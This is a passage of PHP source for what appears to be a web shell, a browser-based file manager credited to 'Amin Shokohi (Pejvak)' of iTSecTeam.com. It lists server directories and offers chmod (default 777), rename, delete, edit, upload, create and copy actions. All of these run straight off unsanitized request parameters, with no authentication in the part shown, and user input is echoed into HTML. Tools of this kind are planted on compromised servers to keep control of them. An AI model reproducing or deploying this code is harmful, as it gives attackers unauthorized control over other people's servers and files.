548echo $head.$formg.$nowaddress."<p align=center><b>Chmod</b><br><input size=50 name=file2ch value='".$_REQUEST['address'].$_REQUEST['filename']."'> To <input name=chmodnow size=1 value=777><br><input type=submit value=Set></form>".$end;exit;
549
550}
551if($_GET['do']=="edit"){
552if($_GET['filename']=="dir"){
553if(is_readable($_GET['address'].$_GET['filew'])){
554chdir($_GET['address'].$_GET['filew']);}else{echo $deny;exit;}
555
556}}
557$araddresss=explode($slash,getcwd());
558$matharrayy=count($araddresss)-1;
559$addr1backk=str_replace($araddresss[$matharrayy],"",$araddresss);
560for($countback=0;$countback<count($addr1backk);$countback++){
561$arraybacke[$countback]=$slash.$addr1backk[$countback];
562$backdirunixx=$backdirunixx.$slash.$addr1backk[$countback];
563}
564if ($slash=="\\"){
565$countback=null;
566$backdirwin=null;
567for($countback=1;$countback<count($addr1backk);$countback++){
568$backdirwin=$backdirwin."\\".$addr1backk[$countback];}
569$backdirwin=$addr1backk[0].$backdirwin;
570$backaddresss=$backdirwin;
571}else{
572$countback=null;
573$backdirwin=null;
574for($countback=1;$countback<count($addr1backk);$countback++){
575$backdirwin=$backdirwin."/".$addr1backk[$countback];}
576$backdirwin=$addr1backk[0].$backdirwin;
577$backaddresss=$backdirwin;
578var_dump($backaddresss);
579$backaddresss=str_replace("\\","/",$backaddresss);
580}
581function calc_dir_size($path)
582{
583$size = 0;
584if ($handle = opendir($path))
585{
586while (false !== ($entry = readdir($handle)))
587{
588$current_path = $path . '/' . $entry;
589if ($entry != '.' && $entry != '..' && !is_link($current_path))
590{
591if (is_file($current_path))
592$size += filesize($current_path);
593elseif (is_dir($current_path))
594$size = calc_dir_size($current_path);
595}
596}
597}
598closedir($handle);
599return $size;
600}
601if ($_GET['address']){$ifget=$_GET['address'];}if($_POST['address']){$ifget=$_POST['address'];}
602if($cwd==''){$cwd=getcwd();}$nowaddress='<input type=hidden name=address value="'.$cwd.'">';
603$ad=getcwd();
604$hand=opendir("$ad");
605while (false !== ($fileee = readdir($hand))) {
606 if ($fileee != "." && $fileee != "..") {
607 if (filetype($fileee)=="dir"){
608$fil=$fil.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
609<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='.$cwd.$slash.'&filename=dir&filew='.$fileee.'">'.$fileee.'</span></td>
610<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=chmod&address='.$cwd.$slash.'&filename='.$fileee.'">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td>
611<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=dir&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>'
612;}
613else{
614$file=$file.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
615<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='.$cwd.$slash.'&filename='.$fileee.'">'.$fileee.'</span></td>
616<td valign="top" height="19" width="80"><font face="Tahoma" style="font-size: 9pt">'.sizee(filesize($fileee)).'</td><td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=chmod&address='.$cwd.$slash.'&filename='.$fileee.'">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='.$cwd.$slash.'&filename='.$fileee.'">Edit</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td>
617<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=file&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>'
618;}
619}
620}
621echo $head.'
622<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
623<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.$backaddresss.'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td>
624</tr></table>'.$fil.$file.'</table>
625<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr>
626<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
627<font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formg.'Change Directory</font></td>
628<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr>
629<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
630<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---> </td>
631<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
632<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'
633<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee >
634<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr>
635<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
636<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----></b> File : </td>
637<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
638<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode> Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>
639<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
640<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----></b> Dirctory Name </td>
641<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
642<font face="Tahoma" style="font-size: 10pt">
643<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
644<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
645<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----></b> Name File </td>
646<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
647<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
648<td width="200" align="right" valign="top">
649<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----></b></b> File : </td>
650<td width="750"><font face="Tahoma" style="font-size: 10pt">
651<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td></tr></table>
652<hr></td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6">
653<p style="margin-top: 0pt; margin-bottom: 0pt" align="center">
654<span lang="en-us"><font face="Tahoma" size="1">Coded by Amin Shokohi (Pejvak)<br><a href="http://www.itsecteam.com" target="_blank"><font size=1>iTSecTeam.com</a></font></span></td></tr></tbody></table></div></body></html>';